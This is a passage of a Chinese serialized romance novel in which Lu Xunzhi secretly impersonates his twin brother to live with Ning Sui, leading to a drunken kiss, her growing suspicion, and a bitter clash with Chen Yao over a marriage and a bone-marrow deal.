在陆闻之向她告白的时候,她几乎没有犹豫就答应了。 她本以为自己终究能开启新的感情。 可横亘在两人之间的远远不是她想象的那么简单。 首先陆闻之,不能跟她亲近。 原因是什么,宁穗一直不知道。 陆闻之不肯说,每次她试图问起,对方都会含混过关。 久而久之,两人之间,就出现了一条裂痕。 好像再也走不到一起。 这几年,宁穗要回来报复乔家,陆闻之更像是她的合作伙伴。 他俩之间,早就超越了爱情,成为彼此重要的人,但也仅此而已。 可刚才他说,太想你。 让宁穗产生一种错觉,好像两人不是一个星期没见。 而是隔了一个世纪,才有机会再次重逢。 等宁穗反应过来,男人已经开始吃早餐。 明明还是那张脸,还是那个人。 为什么会产生这种错觉。 宁穗有些恍惚,试探地叫他,“陆闻之?” 男人顿了一下,缓缓扬起眸子看向她,嘴角勾着温和的笑意,“嗯。” “真是你吗?”宁穗似是在自言自语。 男人失笑,“不是我,还能是谁?快吃吧,乖乖,饭都凉了。” 宁穗也跟着笑了,是啊,不是他还能谁? 难道是陆勋之吗? 那太可笑了。 宁穗吃完饭接到唐佳笑的电话,回了房间。 男人在餐厅里,看着她的身影消失在拐角,嘴角的弧度缓缓敛起,“出来吧。” 做饭阿姨从厨房那边的佣人房走出来,双手绞在身前,畏首畏尾,“大、大少爷。” 陆勋之掀起眼皮睨她,“再说一遍。” 阿姨抬手做了一个假装扇嘴的动作,“对、对不起,二少爷。” 真是要了她的老命了。 昨晚上陆勋之让她去找陆闻之的东西,结果莫名其妙,他就坐上了陆闻之的轮椅。 还说自己要当几天陆闻之,让她保密。 保密?保密! 既然要保密,就不要告诉她啊! 你把秘密告诉风,风会吹遍整个世界啊! 于是,她半夜就给陆闻之打了电话过去。 可陆闻之沉默了两分钟后,就丢下一句给她,“配合他。” 阿姨真的要翻白眼了,心理压力这么大,算不算工伤啊! 昨晚上她都没敢睡觉,留了一只眼睛,生怕陆勋之来灭口啊! “大……二少爷,您要当到什么时候啊?”阿姨小心翼翼的,还是说错了话。 但陆勋之这次没跟她计较,还真的回答了她,“当腻了为止。” 这算什么答案! 还是有钱人会玩。 宁穗再下来的时候,换上了休闲一点衣服,看上去就像是大学时代的样子。 她的皮肤真的很好,即便又过了五年,依然没什么变化。 陆勋之坐在轮椅上,就那么看着宁穗走下来,眼底的笑意化不开。 “我师父病了,我今天约了笑笑去看他。”宁穗走到陆勋之跟前。 只是跟他交代自己的行程,可陆勋之心里却有种怪异的温暖。 即便他盯着陆闻之的脸,这种温暖依旧包裹住他。 “我跟你一起去。”陆勋之说。 宁穗顿了下,但也没拒绝,“好,你跟我一起去也好,到时候我们订婚,我也想请师父过来。到时候,以你的名义吧。” 至少这样看上去不会太突兀。 陆勋之垂了眸子,“让我哥去请就好了,他好像跟王老师的关系更近。” 宁穗想到昨天师母对陆勋之的热情,加上陆勋之竟然能登堂入室王三保家,甚是奇怪。 “他跟我师父怎么会走这么近?”宁穗挺好奇,那么想就那么问了。 陆勋之不动声色地敛去眼底的落寞,再抬眼时,像陆闻之一样温和清润,“这些年,我哥一直在赎罪。” 第193章 闹哪出儿? 唐佳笑那边临时有点事,要晚点到,宁穗和陆勋之先一步去了医院。 王三保夫妇看到坐在轮椅上的人,先是一惊,随即师母担忧上前,“勋之,你这是怎么了?昨天不还好好的?” 宁穗知道他们这是误会了。 毕竟陆勋之和陆闻之兄弟俩,长得实在太像了。 有时候,两人在一起,她都有些分不清。 “师母,这是陆闻之。”宁穗在旁边解释。 “啊,是吗?”师母一脸的惊讶,“还真是太像了。来,快坐。” “笑笑说一会儿才能过来,我们就先来了。”宁穗放下手里的鲜花,看向王三保,“王老师,身体好点了吗?” “没事了。”师母替他回答,“勋之让陆医生给会诊了,说没事的,今天下午我们就出院了。还辛苦你们专门跑一趟,太不好意思了。笑笑也真是的,不用来的,还让你们来一趟。” 宁穗心里有些不舒服,要是眼前的师父师母知道是她,绝对不会这样客气疏离。 可她现在只能顶着唐佳笑朋友的头衔,才能勉强看一眼。 陆勋之温和开口,“您不用客气,我哥的长辈就是我的。” 这话说得,让宁穗斜睨了他一眼。 说得好像陆勋之的东西就是他的一样。 她没说什么。 王三保待得无聊,两个男人一起下起了棋。 没一会儿唐佳笑也来了,就和宁穗一起陪着师母在小客厅里闲聊。 她脑海里一直盘旋着刚才听到的那句话,“这些年,我哥一直在赎罪。” 宁穗有些忍不住,于是问师母,“陆勋之跟王老师和您来往很多吗?” 师母先是看了一眼唐佳笑,后者点点头,意思是可以跟她说。 这才开口回答,“这三年多,几乎每个月都来两三次吧。” 说着,她叹了一口气,“这孩子也不容易,前几年他妻子找不到了,他自己也昏迷了两年。后来醒了,就经常来找三保聊天了。” 刚开始,王三保不想见陆勋之。 宁穗到底是他最喜欢的徒弟,就在陆勋之手上失踪了,可能还已经遇害了,他心里能不怪吗? 可是久而久之,陆勋之慢慢就打开了长辈的心房。 “他什么都帮忙,有一段时间,我们院子里没人打扫,花花草草都死的死干的干,后来是他亲自动手弄的。他说以前穗穗还在的时候,院子里的花,他也亲自管。” 唐佳笑,“他亲自管?真的假的?他能有时间?” 那么大企业的大总裁,能管这点小事吗? “是啊。”师母点点头,“他说只有他自己弄的,他才放心,尤其是那些花花草草摆在哪儿,都是他专门挑选的。不然穗穗跑步碰到受伤怎么办。” 宁穗突然想到,刚结婚的时候,她很喜欢院子里种花,但是她不会打理。 她跟陆勋之提过,能不能在院子里弄些花,但可能要人照料。 当时陆勋之有些不耐烦,“你自己都不会照顾,种那些做什么。” 这件事就不了了之了。 可后来院子里突然就多了很多盆景花卉。 宁穗以为是专门有人来打理,可没想到是陆勋之在做。 到后来陆勋之知道她生病之后,她偶尔在院子里运动遛弯,盆景和花卉好像是经常变动,好像在为她挪开地方一样。 打开了话匣子,师母越说越多。 “他说,对不起穗穗,想赎罪,于是就想对我们好。”师母摇头,“可惜穗穗看不到了。” 唐佳笑尬笑一下,偷偷看了宁穗一眼。 宁穗垂着头,没搭话。 “好了,不说这些伤感的了。”师母抹了一把眼角,揩去了眼泪,“明天就是元宵节了,你们要是没安排,就去我家里吃饭吧。我给你做点好吃的。” 宁穗当然想跟师父师母多亲近。 自从宁安静昏迷之后,师父师母就成了她最亲近的亲人。 可是当年王三保已经受过一次重伤,宁穗实在不想再连累他们,所以才没有认回来。 当天下午,陆勋之让人把王三保夫妇送回家。 然后送了唐佳笑回去。 正好碰见乔镇下班回来,他凑上来,拉住唐佳笑的手,跟车里的人打招呼。 他意味深长地看了一眼宁穗,视线一转,落在陆勋之身上,嘴角的笑容一僵,对方很淡地扫他一眼,警告的意味很明显。 宁穗没注意到,跟唐佳笑说了再见,车子就开走了。 乔镇看着车尾灯,迟迟没有动。 唐佳笑拉他,“走啊,你看什么呢?” 乔镇斟酌了语句,“那个,刚才那人是谁啊?” 唐佳笑真是被他蠢哭了,“还能是谁?你没见过陆闻之,那张脸,你也不陌生啊。” 跟陆勋之长得一模一样。 乔镇一愣,心里骂了陆勋之八百遍,搞什么飞机啊! 怎么又假扮陆闻之啊。 别人认不出,他对那个眼神,可真是一点都不陌生啊! 龟孙。 第二天陆勋之带着宁穗去了王三保家。 唐佳笑和乔镇已经到了。 唐佳笑在帮师母洗菜,乔镇在陪王三保下棋,看到陆勋之操控着轮椅进来,眯了眯眼睛,“闻之老弟,你来,陪王老师下会儿啊。你哥可是经常陪王老师下棋的。你比你哥厉害不?” 乔镇挑衅的眼神,带着几分戏谑。 陆勋之淡淡看了他一眼,看向宁穗,捏了捏她的手,“乖乖,你要下棋吗?” 宁穗摇头,“我去帮师母吧,你们下。” “好。”陆勋之看着宁穗走进厨房,才转脸看向乔镇。 “你们年轻人玩会儿吧,我休息会儿。”王三保也累了,干脆把战局让出来,自己到一旁的罗汉床上小憩。 陆勋之操控着轮椅过去,乔镇将棋子收拾好,低声说:“玩哪儿出?” 陆勋之看都没看他,“你说吧,我玩什么都行。” “别跟我装傻。”乔镇咬着后槽牙,“你到底怎么回事?为什么要假扮陆闻之。” 陆勋之掀起眼皮瞭他,“你早就知道沈瑜就是宁穗了?” 乔镇一愣,陆勋之没错过他眼底一闪而过的错愕。 第194章 吻 陆勋之眯了眯眼睛,“你到底是谁的朋友?” 乔镇却义正言辞,“我当然要站在我老婆这边。你知道我的,一向都是有异性无人性。” 陆勋之,“……” “老婆是天,这么多年,你怎么还是不明白啊。”乔镇看他一脸不屑的样子,比他还无语,“你这个样子,追妻路漫漫,吃苦去吧你。” 陆勋之唇角抿成直线,垂着眸子,也不知道听进去没有。 乔镇看他这个样子,气不打一处来,起身去了厨房。 唐佳笑很会做饭,但是自从结婚后,只要乔镇在家,就是乔镇做饭。 一到厨房,乔镇就拿回了主动权,长得帅情商高。 三个女士的工作都他一个人做了,没一会儿陆勋之就听到从厨房传出来的说笑声。 显得陆勋之一个人在客厅里,更加寂寥。 饭菜很快准备好,上了餐桌。 三家人坐下来,师母给大家准备了一些红酒和黄酒。 席间,王三保和师母不能喝酒,乔镇自来熟地帮大家倒酒劝酒。 宁穗酒量本来就不怎么好,喝了一杯红酒之后,人就晕乎乎的了。 双手撑着下巴,安安静静往那戳着。 冷白的手背都附上了一层淡淡的粉色,特别好看。 陆勋之余光观察她,看她安静了好一会儿,给她倒了饮料,然后将乔镇推开来的酒格挡回去。 宁穗呆呆的,眼睛缓慢地眨着,眼睛和耳朵都好像附上了一层水膜。 忽然有人靠近她的耳朵,小声问:“醉了?” 仿佛带着气泡,鼓胀她的耳膜,酥酥麻麻。 她慢半拍地摇摇头,“没有。” 还嘴硬。 陆勋之嘴角勾起淡淡的弧度。 王三保和师母累了,干脆上楼休息,将饭局留给年轻人。 唐佳笑高兴贪杯,也喝了不少,打着舌头问宁穗,“宝,你接着喝啊,咱们不醉不归。” “行了,你舌头都捋不直了。”乔镇好笑地搂住她的肩膀,唐佳笑顺势搂住他的腰身,靠在他肩膀上。 陆勋之看了看,然后伸手去摸宁穗的肩头,手微微用力,将人往怀里带。 宁穗却蹭地一下起身,伸出一根食指,呆鹅似的嘟囔,“我要去吹吹风。醒醒酒。” 说着,人就跌跌撞撞往露台走去,陆勋之不放心,几乎要起身的一瞬间,余光扫见,对面一对夫妇,直愣愣地盯着他,他忍了忍才操控着轮椅跟上宁穗。 喝了酒人就发热,根本觉察不到冷。 好在露台做了封窗,被师母做成了一个暖房,温差倒是不大。 宁穗站在栏杆前,托着下巴看着窗外的风景,眼睛朦朦胧胧的,聚焦不到一处。 眼底被来来往往的车灯映出星星点点的光芒。 特别动人。 陆勋之看得入迷,突然听到宁穗说:“我以为我们之间不是爱情。” 他表情微怔,嘴角的弧度更深了几分,“为什么不是?” 宁穗缓缓转过头看向他,又慢慢靠在自己的胳膊上,因为酒精,表情有些呆,但特别可爱。 “你知道的,陆闻之。” 陆勋之心跳加速了几分,面上不显,镇定地问,“你不愿意接受我,是因为你不爱我,还是因为你心里有别人?” “有区别吗?这不是关键问题,不是吗?” 陆勋之不依不饶,“怎么不是?你连爱都不爱,还谈什么是不是爱情。” 宁穗表情突然有些异样,突然倾身凑到他跟前,她身上的香气飘到陆勋之鼻尖上。 看到娇润的唇凑过来,陆勋之的视线落在她的唇上。 他想,像陆闻之那样无趣的人,肯定会吻得很克制。 可是一想到他们曾经接吻,陆勋之的心就像被剖开了一个大口子,又冷又疼。 宁穗凑上去的时候,根本没想到对方会给回应。 在她的记忆里,她无数次的尝试,得到的都是陆闻之的躲避。 这次也不意外会是这样的结果。 可她这会儿喝多了,动作没轻没重,凑得很靠前。 两人的呼吸都分不清彼此。 正在宁穗以为对方会躲开的时候,温凉的唇贴了上来。 宁穗僵硬住,没了动作。 男人滚烫的大掌抚上她的后腰,将人一把带到自己的腿上,加深了这个吻。 宁穗的脑子都是懵的。 这两天,她觉察陆闻之的异样,他的眼神,动作,好像都有了一些变化。 这会儿两人如胶似漆,宁穗整个人都是懵的,完全是被动的。 她怔怔看着眼前的男人,仿佛从他身上看到另一个人的影子。 可酒精将脑子搅和得一团浆糊,她的理智根本没办法运作。 不知道吻了多久,男人才松开她。 两人的距离依旧很近。 隔着面纱,宁穗依旧能看到对方眼底的热烈。 宁穗眼底满是惊讶,试探问,“陆闻之,你好了?你去国外这些天,是为了治疗吗?” 她知道陆闻之心里有些问题,不然不会这么抗拒被人亲近。 所以她在看到男人脸上的惊诧时,她理解为自己不小心戳破了他的秘密,所以他有些尴尬。 宁穗觉得头好痛,微微侧头靠在他的肩膀上,鼻音有些重,听上去像是撒娇一样。 “这还是你第一次吻我。所以,我们结婚,不再是一场合作了,是不是?”宁穗眼皮很重,缓缓闭上眼,她感受到某个人的肌肉明显僵硬了一些。 她扭动着脸,他身上很温暖,她很快陷入了昏睡之中。 可陆勋之整个人都不好了,他捏宁穗的脸颊,没好气地说:“你醒醒,把话说清楚。” 什么叫第一次接吻,什么叫合作结婚。 那他刚才做的算什么? 帮他们推进了关系吗? 这是什么地狱笑话。 可宁穗已经睡着了,被捏脸,不高兴地哼哼了两声,软绵绵地推开他的手,又换了个舒服的姿势继续睡。 陆勋之气得眉心拧成麻花,可怀里的温香软玉,八爪鱼似的猴在他身上,又将他心里的不满,一点点化掉。 陆勋之的气愤心情一点点平复下来。 他轻叹一声,手指轻轻捏住宁穗的面纱一角,犹豫了片刻,才一点点掀开。 宁穗的脸再次暴露在他面前。 脸颊泛着淡淡的粉红色,特别灵动。 陆勋之眼神瞬间粘稠了几分,“明天你还会记得吗?” 他希望,她一点都不要想起来。 第195章 他们两个,你分得清吗 宁穗第二天起来的时候头很痛。 她其实很少喝酒。 之前是因为家里没人待见她,她不敢随便喝醉,怕影响自己在别人眼里本来就不怎么好的形象。 再后来,是生病了,更不能喝酒。 这几年,她身体养得还可以,昨天又是师母给准备了酒,她就喝了一些。 但她其实酒量很差。 起床到楼下,想倒杯水喝,又看到“陆闻之”在客厅坐着看文件。 “你不用去公司吗?”宁穗挺好奇的,“你不是说最近在慢慢接受公司的事?” 陆凛之被陆勋之打压下去,现在陆闻之有了更多机会。 到底他们才是亲兄弟,陆勋之肯定是要培养陆闻之的。 假装成陆闻之的陆勋之放下手里的文件,温和笑笑,“没事,在家里做也一样,去喝点醒酒汤吧。” 陆勋之不动声色地看了两眼宁穗。 她今天没有戴面巾,是完全不设防的状态。 头发松软地落在肩上,还有几根不听话的翘着,看上去有些稚气。 陆勋之生出一种错觉,好像两人又回到过去,细细算来,已经是十年的夫妻。 他操控着轮椅,拉住宁穗的手,将人带到餐桌前,动作娴熟地打开了保温壶,倒出一碗汤递给她。 “昨晚上就给你喝了一些。阿姨说,早上起来再喝一碗,能好受一点。” 宁穗看了一眼,对汤完全没印象,昨晚上她喝了吗? “不好意思啊,还要你照顾我。”宁穗喝了汤,“下回我会注意的,不会再喝多了。” 陆勋之悄悄打量她,“昨晚上的事,你真的一点都不记得了吗?” 宁穗怔怔看他,“有什么需要记得的吗?” 陆勋之压了压嘴角,摇头,“没什么,都喝了吧。喝完给你拿早餐。” 宁穗乖乖喝掉了汤,陆勋之去而折返,腿上多了一个托盘,上面是早餐。 宁穗赶紧上前帮忙,陆勋之却躲开她,亲自将托盘放在餐桌上。 “你不用什么都照顾我,我也不是小孩子。”宁穗觉得好笑,陆闻之照顾她有点过头了。 他以前也不是这样的。 他的腿不方便,宁穗会帮他的忙。 本来家里可以请佣人,但是陆闻之不太喜欢别人碰他。 他都是尽可能自己做,偶尔让宁穗帮忙。 陆勋之没反对,“吃吧。” 然后就静静看着宁穗吃东西,往日的记忆和当下重叠,他有点分不清到底是真实还是他的想象。 总之很温暖。 房门冒出暴躁的门铃声,宁穗一愣,紧张地看向男人。 陆勋之脸色也有些挂起来,这么温馨的场面,他都还没享受够。 他转头看向门口的电子屏,陈瑶恼怒的脸画着浓妆,动作都透着怒气,在不断地按门铃。 再回头时,不知道宁穗从哪儿变出来一个面巾,已经戴上。 面巾就像是一道墙,一下子又将陆勋之和宁穗隔开。 男人脸色不太好,转身操控着轮椅过去,打开门。 陈瑶被晃了一下,抬起的手臂还悬在半空,人差点就冲进来。 在看到轮椅上的黑脸时,她有一瞬间的怔愣。 这表情简直就是陆勋之,可轮椅在提醒她,这是陆闻之。 陈瑶怔愣的瞬间,陆勋之冷声道,“说话。” 陈瑶这才回过神来,脸色不好地往门里看,“勋之哥呢?我要找他。” “不在。”陆勋之睁着眼说瞎话。 陈瑶不信,“他家我去了,公司我也去了,都找不到他,我只能来这找。他又没离开御城,只能是在你这。” 她求了老爸好久,才给她查了陆勋之的行程。 他没离开御城,可不接她的电话,也不见人影。 她真的要疯了。 明显是故意在躲她。 陈瑶绷着的弦,眼看就要崩了,她侧身冲进了别墅。 看都没看宁穗一眼,就跑进各个房间去找,就连洗手间和佣人房都没放过。 结果当然是没找到。 陆勋之就那么看着她无头苍蝇一样来回转,抽空还给宁穗加了一次汤。 两人旁若无人,根本没人搭理陈瑶。 陈瑶上上下下跑了好几趟,累得跌坐在沙发上,这才看向宁穗。 看着陆闻之给宁穗端茶倒水,还给宁穗擦嘴的样子,真的碍眼啊。 为什么啊? 为什么就不能给她一个这么贴心的丈夫呢? 凭什么这么好的男人都是别人的。 陈瑶眼圈有些热,她倏地起身走到陆勋之跟前,“陆闻之,没几天我就要跟陆勋之订婚了。可他现在逃婚,你不管吗?你们陆家不管吗?” 陆勋之看都没看她,用纸巾擦了擦手,“他是我哥,我又不是他爹,你应该去找他爹,或者他爷爷。” 陈瑶被噎住,她咬住下唇,脸颊滚烫,尤其是当着宁穗的面。 顿时生出破罐子破摔的心思,“你以为你哥是为什么不肯结婚?” 她倏地指向宁穗,“那天你的女人差点被乔深欺负的时候,陆勋之进去把人差点打死。抱着她出来的时候,就跟抱着自己的女人一样,你就一点都不生气吗?” 宁穗愣住,怔怔抬头看向男人。 陆勋之的脸色黑沉下来,看向陈瑶,嘴角噙着冷笑,“我听我哥说,你就是用我们夫妇的名声,来威胁他跟你结婚的。你现在说出来,就是不想用这个把柄了?” 把柄说出来,就没用了。 陆闻之和陆勋之到底是打碎骨头连着筋的关系。 如果陆勋之执意不想娶陈瑶,那陆闻之也会配合她。 陈瑶知道,因为陈斌跟她说过这个道理。 他说:“陆勋之那个人硬得很,有的时候,你越是逼他,反而会适得其反。” 可陈瑶已经被陆勋之折磨疯了,她现在口无遮拦,冷笑道,“怎么?你们想享受一女共侍二夫啊?也对,反正长得都一样。而且你们关系这么好,什么不能分享啊?女人在你们兄弟眼里重要吗?根本不重要,对你们来说就是一个工具而已。” 她恶劣地看向宁穗,“你是不是也分不清啊?在你面前这个到底是陆闻之还是陆勋之,你说你分得出吗?” 第196章 我不喜欢这些。是因为你喜欢 宁穗一声不吭地看着陆勋之,后者脸色沉了沉,“滚出去!” 陈瑶被吼得浑身一抖,理智也瞬间回笼。 看着男人盛怒的眼神,她瞬间肠子都悔青了。 有些事知道是一回事,但真把事情抬到明面上来,就是另外一回事了。 她狠狠瞪了宁穗一眼,实在不清楚,为什么这个女人能得到两个男人的青睐。 凭什么! 可她看着男人冷涔的表情,只能咬咬牙转身离开。 大厅里一下子安静下来,宁穗看着陆勋之,后者缓和了脸色,“别理她。” 宁穗点头,“那天是陆勋之救了我,他会不会知道什么了?” 她突然就问出这个问题,陆勋之抿唇没有直接回答。 而是说:“我哥那个人,要是真知道了,还能沉住气吗?” 宁穗顿了顿,想想也是,陆勋之不是能轻易就放过别人的人。 他很记仇。 但怀疑的种子一旦被种下,就会很快生根发芽。 宁穗突然起身,走到陆勋之跟前,双手捧住他的脸,突然靠近。 陆勋之身体本能地想要迎合,但理智瞬间拉住刹车,他猛地撇开头,看上去很抗拒的样子。 “乖乖,别闹。” 宁穗愣了愣,突然发现自己真的是被陈瑶的话给影响了。 眼前这个人,怎么可能是陆勋之呢? 宁穗缓慢站直身子,抹了一把脸,“对不起。” 说完,转身回了房间。 陆勋之看着宁穗疲惫的身影,脸色缓缓沉了下来。 他来到陆闻之的书房,手机响起。 IP地址显示M国。 陆勋之面无表情地接通手机,那头也没有急着说话。 两人就这样无声角逐。 片刻后,陆闻之轻叹一声,最先开口,“哥,假扮我有意思吗?” 陆勋之眼睛看向窗外,院子里种了很多花,都是宁穗喜欢的,即便现在天气还有些冷。 但因为照顾得当,还是有花开放。 像极了他为宁穗准备的花圃。 可这一切,本来就应该是他的。 “我现在最后悔的,就是当年不该答应你,假扮成我,享受宁穗对我的好。” 那么今天,也不会有这么一出。 “陆闻之,宁穗跟你之间根本就不是因为爱在一起。”陆勋之眼底闪过阴鸷,“我一定会把她抢回来。” 陆闻之却没有任何异样,语气依旧轻轻浅浅,“哥,她如果想回来找你,早就找了。” “闭嘴!”陆勋之气得胸口疼,快要爆炸了。 无数人这么提醒他。 宁穗如果死了,他继续找没有意义。 如果没死,那就更不必找了。 说明她根本不想回来。 陆勋之不知道吗? 他不过是不想承认这个事实。 砰! 手机被摔到地板上,发出重重的响声,屏幕瞬间花屏。 几分钟后,房门被敲响。 陆勋之抹了一把脸,平缓下来,“进。” 门打开,宁穗探头进来,“怎么了?” 陆勋之看向她,笑了笑,“手机掉了。” 宁穗看了一眼地上的手机,没说什么,而是问,“我想叫个外卖,你要吃吗?” 陆勋之皱了下眉头,“不是刚吃了早饭吗?” 宁穗眨了眨眼,“那我一会儿到房间吃,不会熏到你。” 说完,她转身出了书房。 陆勋之捏了捏眉心,他现在烦躁得不想说话。 不一会儿,他还是妥协地出了书房,正好遇见拿着手机往外走的宁穗。 “这么快就到了?” 这里不好叫外卖,宁穗其实很少叫。 陆闻之一直把控着她的饮食,很少让她放纵。 这些年,她能养好身体,也是陆闻之的功劳。 但是昨晚上陆闻之居然让她喝酒,那今天点个外卖也不是什么事吧? 宁穗顿住脚步,看向他,“没有,叫不到。这里太远了,没人送。我出去吃。” 陆勋之气笑了,“什么东西,非得现在吃吗?” 宁穗点头,特别认真地说:“我想吃学校旁边的小吃街的串串香。” 上学的时候一块钱一串,那时候宁穗手里没什么钱,后来卖了一些作品之后,手里有点闲钱的,就会去改善生活。 这种串串香,吃起来最带劲。 宁穗故意没戴面巾,打量着陆勋之,“你要跟我一起去吗?” 她顿了一下,歪了歪头,“我记得你以前也很喜欢吃。” 陆勋之唇角抿成直线。 他不喜欢吃这种东西,没什么营养,还有很多油。 所以宁穗不会拉他去吃。 那就是陆闻之喜欢咯。 他怎么可能喜欢,不过是宠着宁穗罢了。 所以,宁穗已经知道陆闻之曾经顶替他的事了。 陆勋之非常不爽。 宁穗之前那么介意宋姜是他的白月光,现在又不觉得被陆闻之骗难受了吗? 他舌尖抵了一下唇角,“乖乖,我之前顶替我哥跟你谈恋爱,你就不生我的气吗?就不想打我骂我,不理我吗?” 宁穗很轻地眯了眯眼睛,“你只是想要一点温暖,你有什么错?” 噗! 陆勋之觉得一把软刀子扎在心口上。 手指缓缓蜷缩起来,手背上青筋暴起,但他还是温和笑笑,“走吧,不是想吃串串香?现在开车过去,时间刚刚好。我记得是十点就能点了吧。” 宁穗愣了愣,抿唇点头,没说什么。 两人上了车,宁穗一直看着窗外,留给陆勋之一个后脑勺。 车子开到大学门口,小吃街开不进去。 宁穗下车,推着陆勋之往前走。 串串香门口已经有人在陆续进去挑菜。 还是跟以前一样火爆。 陆勋之让宁穗去占座,他挑选了一锅。 上菜之后,宁穗愣了愣,都是她喜欢吃的,当然当年陆闻之也喜欢。 “你的口味倒是没有变。”宁穗声音喃喃,像是在自言自语。 陆勋之一边给宁穗拿串串,递到她盘子里,一边说:“我不喜欢这些。是因为你喜欢。” 宁穗看向他,意味不明地笑了笑,“吃吧。” “当初陆勋之就不肯跟我来吃这个。他很嫌弃。可是你当时就很乐意。好像无论我要做什么,你都会支持我。”宁穗拿着串串,却没有吃,“现在想想,那时候就有很多破绽,可是我没发现,我也真的很傻。” 她无奈地笑了笑,“是傻。” 连自己喜欢的人都分不出来。 她突然看向陆勋之,“你说,如果当初你告诉我真相,我们是不是就会是不一样的结局。” 陆勋之的心狠狠疼了一下,声音有些沙哑,“你很后悔吗?” 第197章 五年了,早该死了! “后悔。”宁穗没有一丝犹豫。 陆勋之以前问过宁穗这个问题,可五年后再听到这个答案,他的心还是好疼。 甚至比之前更痛。 宁穗,“这十年来,都在后悔,或许我应该找一个平常人结婚,而不是要追求什么我所谓的爱情。害了这么多人,也害了我自己。” “嫁给谁?”陆勋之声音有些冷,“你的那个什么师兄?高中同学?还是王习?还是大街上的甲乙丙丁?” 宁穗没被他的讽刺激怒,而是很平静地说:“嫁给谁都好,如果重来一次,我一定会找一个爱我比我爱他多的。” “你这跟找个老实人接盘有什么区别?”陆勋之有些生气,语气也跟着不好起来,完全忘记了他现在的身份是陆闻之。 温文尔雅,永远温柔。 宁穗一眨不眨地看着他,手指捏着竹签子,指尖发白,褪去血色。 她的心跳声在耳边鼓荡,身体有些僵硬,但她还是平稳着声音,挤出淡淡的笑容,“说这些都没用了,陆闻之,我也只会再嫁给你了。这个结果,不会改变。” 空气瞬间安静下来。 四周仿佛被罩上了一个玻璃罩子。 将两人完全隔绝。 宁穗的手微微颤抖,坐在对面的男人一眨不眨地看着她,脸上覆盖了一层寒冰。 几分钟后,男人操控着轮椅离开。 宁穗秉着的一口气,松了下来。 她闭了闭眼睛,看着眼前的一锅串串,没了胃口。 她本来也没想吃什么,她只是想验证一件事情。 但她不想浪费,还是都吃光了。 陆勋之已经付了钱,宁穗吃完离开,回到车上的时候,司机一个人在。 “二少爷接了电话有事,先走了。”司机说。 宁穗并不意外,看向车窗外。 接下来的几天,宁穗没再见到陆闻之,确切地说,是陆勋之。 她之前心里忐忑,生怕陆勋之知道了什么。 但是现在,陆勋之扮成陆闻之在她跟前生活了几天,她却是在陈瑶的提醒下,才发现的。 她反而没那么紧张了。 可真正的陆闻之没回来,偶尔悠悠会打电话过来,陆闻之也不在她身边。 宁穗觉察出了不对劲,她想了想还是去了陆氏找陆勋之。 “沈小姐,陆总在忙,不方便见客。”唐桓将宁穗拦在了总裁办。 宁穗也不恼,“我可以不见,但是我想问问陆闻之的情况,他为什么还不回来。” 唐桓面不改色,“小陆总想回来的时候,自然就会回来了。” 宁穗拧眉,觉得唐桓是在跟她打太极,刚想说什么,总裁办公室那边传来巨大的声音,随后有人开门冲了出来。 看清陈瑶的脸时,对方直冲冲地跑过来,撞到了宁穗的肩膀。 陈瑶的包打到宁穗的手腕,生疼。 宁穗看了她一眼,没打算说什么。 看她的样子,满脸泪痕,肯定是跟陆勋之吵架了。 宁穗可不想触霉头,可陈瑶看清楚宁穗的时候,却来了劲,“我要单独跟你聊几句。” “我没时间。”宁穗拒绝。 他们站的地方本来就离着很近的一个会议室。 陈瑶直接上手,将人拉过去,锁上了门。 “你就这么喜欢看热闹吗?陆勋之现在不想跟我结婚了,你开心了?” 宁穗只看着她,没讲话。 可在陈瑶看来,她这就是挑衅,“你以为你是什么东西?真能拿捏他们哥俩吗?你到最后怎么死都不知道。” 宁穗冷声说:“我没惹你。你惹不起陆勋之,气别撒到我身上。” “我就要撒你身上,怎么样?”陈瑶扬起胳膊,可她的巴掌没落下来。 啪! 宁穗一巴掌扇上去,陈瑶被打得趔趄了两步,撞到墙上,满脸的不可置信,泪水盈满眼眶,要掉不掉。 “为了个男人,至于吗!”宁穗恨铁不成钢,“抢了别人的骨髓,自己却活成这个鬼样子。” 陈瑶的脸色瞬间纸白,蹭得站直了身体,“你胡说什么!我抢谁的?都是我的!” “你抢谁的你自己心里清楚。”宁穗无情拆穿她,“你又不是小孩子了,你都要继承陈家的家业了,你爸和陆勋之当年肮脏的交易,你会不知道吗?” 她当然知道了,在知道之后,她难受了很久,但是她也想活啊。 要是陈斌不给她找到这个骨髓,那死的就是她了。 陈瑶很快就接受了这个现实,毕竟陆勋之的老婆已经死了。 她就是想帮忙也没机会了。 陈瑶捂着脸哭,“这件事跟我没关系,没人问我的意见。” 宁穗哼笑一声没说话,就算问又怎么样? 人都是自私的,她肯定想要活下去。 陈瑶靠着墙壁蹲坐下去,呜呜地哭,“陆勋之说他找到他老婆了,那个女人居然还没死。为什么不死啊!五年了,早该死了!” 宁穗脸色黑下来。 听着陈瑶一句句地咒骂自己。 自私的人,会一直自私。 为了自己的利益,会不惜牺牲别人。 尽管当年宁穗其实还是放了陈瑶一马。 如果当时她再疯一点,直接冲进手术室,阻挡这场手术。 反正她也活不下去了,那就一起死吧。 可她终究还是动了恻隐之心。 只不过她现在才明白,雪崩之下,没有一片雪花是无辜的。 宁穗觉得自己不该跟陈瑶在这浪费时间,她突然觉得很恶心。 她拧开门打算离开,陈瑶却突然冲上来,“你不许走!你去跟陆勋之睡吧,毁了他,他想等他老婆回来,让他做梦!” 宁穗不可置信地看向陈瑶,这个曾经笑着面对病魔的女孩,已经变成了魔鬼。 她一把推开陈瑶,对方晃悠了两下,又冲上来,要去撕扯宁穗的面巾,恶意地想要暴露她的脸。 突然一只有力的手臂斜进来,抓住了她的手腕,疼得陈瑶脸皱成包子。 “闹够了没有!”陆勋之震怒之下,声音像是带着冰凌子。 可陈瑶已经疯了,嘶吼道,“没有!你说要娶我,现在又反悔,你是要逼死我!” 宁穗撤开,给两个人让出空间,置身事外。 冷着脸看着这场闹剧,可听到陆勋之说:“我跟你说过,一年之内,我要是找到我老婆,婚礼就不算数。是你自己答应的。” 宁穗浑身僵硬。 第198章 一命换一命吧 宁穗怔怔地看向陆勋之,这个角度只能看到他的侧脸,盛怒之下,下颌紧绷的样子,看上去很是吓人。 宁穗也被吓到了,她没想到陆勋之能疯成这样。 陈家跟他的关系,他也不在乎了吗? 陈瑶问出了宁穗的疑问,“我爸知道你这么欺负我,不会放过你!” “陈总比你成熟,他分得清孰轻孰重。如果他也分不清,那我们也没必要再合作。” 陆勋之说的毫不留情,陈瑶咬着唇,眼泪像是断了线的珠子一样,啪嗒啪嗒往下掉。 